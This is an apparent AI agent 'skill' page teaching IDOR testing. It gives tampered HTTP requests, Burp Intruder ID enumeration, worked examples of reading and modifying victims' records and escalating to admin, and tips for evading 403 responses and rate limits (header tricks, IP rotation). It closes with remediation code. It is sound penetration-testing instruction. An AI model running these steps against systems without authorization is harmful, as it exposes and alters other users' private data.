Idor Testing

Skillsystem1231Verified

This skill should be used when the user asks to "test for insecure direct object references," "find IDOR vulnerabilities," "exploit broken access control," "enumerate user IDs or object references," or "bypass authorization to access other users' data." It provides comprehensive guidance for detecting, exploiting, and remediating IDOR vulnerabilities in web applications.

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CONTENT

IDOR Vulnerability Testing

Purpose

Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. This skill covers both database object references and static file references, detection techniques using parameter manipulation and enumeration, exploitation via Burp Suite, and remediation strategies for securing applications against unauthorized access.

Inputs / Prerequisites

Target Web Application: URL of application with user-specific resources

Multiple User Accounts: At least two test accounts to verify cross-user access

Burp Suite or Proxy Tool: Intercepting proxy for request manipulation

Authorization: Written permission for security testing

Understanding of Application Flow: Knowledge of how objects are referenced (IDs, filenames)

Outputs / Deliverables

IDOR Vulnerability Report: Documentation of discovered access control bypasses

Proof of Concept: Evidence of unauthorized data access across user contexts

Affected Endpoints: List of vulnerable API endpoints and parameters

Impact Assessment: Classification of data exposure severity

Remediation Recommendations: Specific fixes for identified vulnerabilities

Core Workflow

1. Understand IDOR Vulnerability Types

Direct Reference to Database Objects

Occurs when applications reference database records via user-controllable parameters:

# Original URL (authenticated as User A)
example.com/user/profile?id=2023

# Manipulation attempt (accessing User B's data)
example.com/user/profile?id=2022

Direct Reference to Static Files

Occurs when applications expose file paths or names that can be enumerated:

# Original URL (User A's receipt)
example.com/static/receipt/205.pdf

# Manipulation attempt (User B's receipt)
example.com/static/receipt/200.pdf

2. Reconnaissance and Setup

Create Multiple Test Accounts

Account 1: "attacker" - Primary testing account
Account 2: "victim" - Account whose data we attempt to access

Identify Object References

Capture and analyze requests containing:

Numeric IDs in URLs: /api/user/123

Numeric IDs in parameters: ?id=123&action=view

Numeric IDs in request body: {"userId": 123}

File paths: /download/receipt_123.pdf

GUIDs/UUIDs: /profile/a1b2c3d4-e5f6-...

Map User IDs

# Access user ID endpoint (if available)
GET /api/user-id/

# Note ID patterns:
# - Sequential integers (1, 2, 3...)
# - Auto-incremented values
# - Predictable patterns

3. Detection Techniques

URL Parameter Manipulation

# Step 1: Capture original authenticated request
GET /api/user/profile?id=1001 HTTP/1.1
Cookie: session=attacker_session

# Step 2: Modify ID to target another user
GET /api/user/profile?id=1000 HTTP/1.1
Cookie: session=attacker_session

# Vulnerable if: Returns victim's data with attacker's session

Request Body Manipulation

# Original POST request
POST /api/address/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session

{"id": 5, "userId": 1001, "address": "123 Attacker St"}

# Modified request targeting victim
{"id": 5, "userId": 1000, "address": "123 Attacker St"}

HTTP Method Switching

# Original GET request may be protected
GET /api/admin/users/1000 → 403 Forbidden

# Try alternative methods
POST /api/admin/users/1000 → 200 OK (Vulnerable!)
PUT /api/admin/users/1000 → 200 OK (Vulnerable!)

4. Exploitation with Burp Suite

Manual Exploitation

1. Configure browser proxy through Burp Suite
2. Login as "attacker" user
3. Navigate to profile/data page
4. Enable Intercept in Proxy tab
5. Capture request with user ID
6. Modify ID to victim's ID
7. Forward request
8. Observe response for victim's data

Automated Enumeration with Intruder

1. Send request to Intruder (Ctrl+I)
2. Clear all payload positions
3. Select ID parameter as payload position
4. Configure attack type: Sniper
5. Payload settings:
   - Type: Numbers
   - Range: 1 to 10000
   - Step: 1
6. Start attack
7. Analyze responses for 200 status codes

Battering Ram Attack for Multiple Positions

# When same ID appears in multiple locations
PUT /api/addresses/§5§/update HTTP/1.1

{"id": §5§, "userId": 3}

Attack Type: Battering Ram
Payload: Numbers 1-1000

5. Common IDOR Locations

API Endpoints

/api/user/{id}
/api/profile/{id}
/api/order/{id}
/api/invoice/{id}
/api/document/{id}
/api/message/{id}
/api/address/{id}/update
/api/address/{id}/delete

File Downloads

/download/invoice_{id}.pdf
/static/receipts/{id}.pdf
/uploads/documents/{filename}
/files/reports/report_{date}_{id}.xlsx

Query Parameters

?userId=123
?orderId=456
?documentId=789
?file=report_123.pdf
?account=user@email.com

Quick Reference

IDOR Testing Checklist

Test	Method	Indicator of Vulnerability
Increment/Decrement ID	Change `id=5` to `id=4`	Returns different user's data
Use Victim's ID	Replace with known victim ID	Access granted to victim's resources
Enumerate Range	Test IDs 1-1000	Find valid records of other users
Negative Values	Test `id=-1` or `id=0`	Unexpected data or errors
Large Values	Test `id=99999999`	System information disclosure
String IDs	Change format `id=user_123`	Logic bypass
GUID Manipulation	Modify UUID portions	Predictable UUID patterns

Response Analysis

Status Code	Interpretation
200 OK	Potential IDOR - verify data ownership
403 Forbidden	Access control working
404 Not Found	Resource doesn't exist
401 Unauthorized	Authentication required
500 Error	Potential input validation issue

Common Vulnerable Parameters

Parameter Type	Examples
User identifiers	`userId`, `uid`, `user_id`, `account`
Resource identifiers	`id`, `pid`, `docId`, `fileId`
Order/Transaction	`orderId`, `transactionId`, `invoiceId`
Message/Communication	`messageId`, `threadId`, `chatId`
File references	`filename`, `file`, `document`, `path`

Constraints and Limitations

Operational Boundaries

Requires at least two valid user accounts for verification

Some applications use session-bound tokens instead of IDs

GUID/UUID references harder to enumerate but not impossible

Rate limiting may restrict enumeration attempts

Some IDOR requires chained vulnerabilities to exploit

Detection Challenges

Horizontal privilege escalation (user-to-user) vs vertical (user-to-admin)

Blind IDOR where response doesn't confirm access

Time-based IDOR in asynchronous operations

IDOR in websocket communications

Legal Requirements

Only test applications with explicit authorization

Document all testing activities and findings

Do not access, modify, or exfiltrate real user data

Report findings through proper disclosure channels

Examples

Example 1: Basic ID Parameter IDOR

# Login as attacker (userId=1001)
# Navigate to profile page

# Original request
GET /api/profile?id=1001 HTTP/1.1
Cookie: session=abc123

# Response: Attacker's profile data

# Modified request (targeting victim userId=1000)
GET /api/profile?id=1000 HTTP/1.1
Cookie: session=abc123

# Vulnerable Response: Victim's profile data returned!

Example 2: IDOR in Address Update Endpoint

# Intercept address update request
PUT /api/addresses/5/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session

{
  "id": 5,
  "userId": 1001,
  "street": "123 Main St",
  "city": "Test City"
}

# Modify userId to victim's ID
{
  "id": 5,
  "userId": 1000,  # Changed from 1001
  "street": "Hacked Address",
  "city": "Exploit City"
}

# If 200 OK: Address created under victim's account

Example 3: Static File IDOR

# Download own receipt
GET /api/download/5 HTTP/1.1
Cookie: session=attacker_session

# Response: PDF of attacker's receipt (order #5)

# Attempt to access other receipts
GET /api/download/3 HTTP/1.1
Cookie: session=attacker_session

# Vulnerable Response: PDF of victim's receipt (order #3)!

Example 4: Burp Intruder Enumeration

# Configure Intruder attack
Target: PUT /api/addresses/§1§/update
Payload Position: Address ID in URL and body

Attack Configuration:
- Type: Battering Ram
- Payload: Numbers 0-20, Step 1

Body Template:
{
  "id": §1§,
  "userId": 3
}

# Analyze results:
# - 200 responses indicate successful modification
# - Check victim's account for new addresses

Example 5: Horizontal to Vertical Escalation

# Step 1: Enumerate user roles
GET /api/user/1 → {"role": "user", "id": 1}
GET /api/user/2 → {"role": "user", "id": 2}
GET /api/user/3 → {"role": "admin", "id": 3}

# Step 2: Access admin functions with discovered ID
GET /api/admin/dashboard?userId=3 HTTP/1.1
Cookie: session=regular_user_session

# If accessible: Vertical privilege escalation achieved

Troubleshooting

Issue: All Requests Return 403 Forbidden

Cause: Server-side access control is implemented

Solution:

# Try alternative attack vectors:
1. HTTP method switching (GET → POST → PUT)
2. Add X-Original-URL or X-Rewrite-URL headers
3. Try parameter pollution: ?id=1001&id=1000
4. URL encoding variations: %31%30%30%30 for "1000"
5. Case variations for string IDs

Issue: Application Uses UUIDs Instead of Sequential IDs

Cause: Randomized identifiers reduce enumeration risk

Solution:

# UUID discovery techniques:
1. Check response bodies for leaked UUIDs
2. Search JavaScript files for hardcoded UUIDs
3. Check API responses that list multiple objects
4. Look for UUID patterns in error messages
5. Try UUID v1 (time-based) prediction if applicable

Issue: Session Token Bound to User

Cause: Application validates session against requested resource

Solution:

# Advanced bypass attempts:
1. Test for IDOR in unauthenticated endpoints
2. Check password reset/email verification flows
3. Look for IDOR in file upload/download
4. Test API versioning: /api/v1/ vs /api/v2/
5. Check mobile API endpoints (often less protected)

Issue: Rate Limiting Blocks Enumeration

Cause: Application implements request throttling

Solution:

# Bypass techniques:
1. Add delays between requests (Burp Intruder throttle)
2. Rotate IP addresses (proxy chains)
3. Target specific high-value IDs instead of full range
4. Use different endpoints for same resources
5. Test during off-peak hours

Issue: Cannot Verify IDOR Impact

Cause: Response doesn't clearly indicate data ownership

Solution:

# Verification methods:
1. Create unique identifiable data in victim account
2. Look for PII markers (name, email) in responses
3. Compare response lengths between users
4. Check for timing differences in responses
5. Use secondary indicators (creation dates, metadata)

Remediation Guidance

Implement Proper Access Control

pythoncode

# Django example - validate ownership
def update_address(request, address_id):
    address = Address.objects.get(id=address_id)
    
    # Verify ownership before allowing update
    if address.user != request.user:
        return HttpResponseForbidden("Unauthorized")
    
    # Proceed with update
    address.update(request.data)

Use Indirect References

pythoncode

# Instead of: /api/address/123
# Use: /api/address/current-user/billing

def get_address(request):
    # Always filter by authenticated user
    address = Address.objects.filter(user=request.user).first()
    return address

Server-Side Validation

pythoncode

# Always validate on server, never trust client input
def download_receipt(request, receipt_id):
    receipt = Receipt.objects.filter(
        id=receipt_id,
        user=request.user  # Critical: filter by current user
    ).first()
    
    if not receipt:
        return HttpResponseNotFound()
    
    return FileResponse(receipt.file)

How to Use & Getting Started

Protected

# Step 1: Initialize skill agent setup

npx skills add Idor Testing --install-production

python -m pip install -r requirements.txt

codex plugin install Idor Testing@latest

export API_KEY=secret_token_key_here

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Idor Testing

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IDOR Vulnerability Testing

Purpose

Inputs / Prerequisites

Outputs / Deliverables

Core Workflow

1. Understand IDOR Vulnerability Types

Direct Reference to Database Objects

Direct Reference to Static Files

2. Reconnaissance and Setup

Create Multiple Test Accounts

Identify Object References

Map User IDs

3. Detection Techniques

URL Parameter Manipulation

Request Body Manipulation

HTTP Method Switching

4. Exploitation with Burp Suite

Manual Exploitation

Automated Enumeration with Intruder

Battering Ram Attack for Multiple Positions

5. Common IDOR Locations

API Endpoints

File Downloads

Query Parameters

Quick Reference

IDOR Testing Checklist

Response Analysis

Common Vulnerable Parameters

Constraints and Limitations

Operational Boundaries

Detection Challenges

Legal Requirements

Examples

Example 1: Basic ID Parameter IDOR

Example 2: IDOR in Address Update Endpoint

Example 3: Static File IDOR

Example 4: Burp Intruder Enumeration

Example 5: Horizontal to Vertical Escalation

Troubleshooting

Issue: All Requests Return 403 Forbidden

Issue: Application Uses UUIDs Instead of Sequential IDs

Issue: Session Token Bound to User

Issue: Rate Limiting Blocks Enumeration

Issue: Cannot Verify IDOR Impact

Remediation Guidance

Implement Proper Access Control

Use Indirect References

Server-Side Validation

How to Use & Getting Started

Installation Runbook & Walkthrough Locked

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